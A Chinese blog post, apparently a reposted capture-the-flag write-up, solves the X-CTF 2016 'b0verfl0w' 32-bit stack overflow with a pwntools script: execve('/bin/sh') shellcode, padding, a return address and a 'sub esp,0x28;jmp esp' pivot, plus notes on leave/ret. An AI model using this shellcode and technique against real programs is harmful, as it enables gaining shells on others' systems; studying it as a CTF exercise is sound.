美文网首页
X-CTF Quals 2016 - b0verfl0w

X-CTF Quals 2016 - b0verfl0w

作者: clive0x | 来源:发表于2019-01-27 23:41 被阅读0次

b0verfl0w 32位elf文件,安全配置如下:

存在堆栈溢出漏洞,但是栈不大,只有0x38。

看了下exp,比较简单的一段exp,还是花了三个小时,网络安全这玩意一直在看,就是没动手,导致基础不扎实,很多东西看了就忘记,自己写了下exp标注下,先看下栈的分配

io = process(elf.path)

#execv('/bin/sh')

payload = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

###### 存在溢出漏洞的数组长度只有0x20,前面一行只有0x15,下面用12个'b'填充

payload += 'b'*(0x20-len(payload))

#ebp

payload += '\x90'*4

#eip

payload += p32(0x08048504)

#######这段代码费了两个小时,记录一下。上图为存在溢出漏洞的vul()函数

溢出后,会调用leave和retl,就是这俩指令的费了近两小时来理解

leave: mov esp,ebp;pop ebp,esp先指向esp,pop ebp后esp指向eip(看exp时一时没反应过来pop ebp也会使esp -4)

ret:pop eip;jmp 同上面一样,esp也是-4,指向eip后面的内存单元,pop eip需要使esp-4也没有反应过来

到此,esp指向eip后面的单元,esp-0x28(0x20(数组长度) + 0x4(ebp) + 0x4(eip))到了数组start,也就是shellcode起始处,jmp esp即开始运行shellcode 

payload += asm('sub esp,0x28;jmp esp')

io.send(payload)

io.interactive()

年纪大了,记性不好,最近调bilstm + crf代码,很多tensorflow语法都忘光了,如果读大学那伙知道现在的方向,绝对比现在成就高。

相关文章

网友评论

      本文标题:X-CTF Quals 2016 - b0verfl0w

      本文链接:https://www.haomeiwen.com/subject/dgcojqtx.html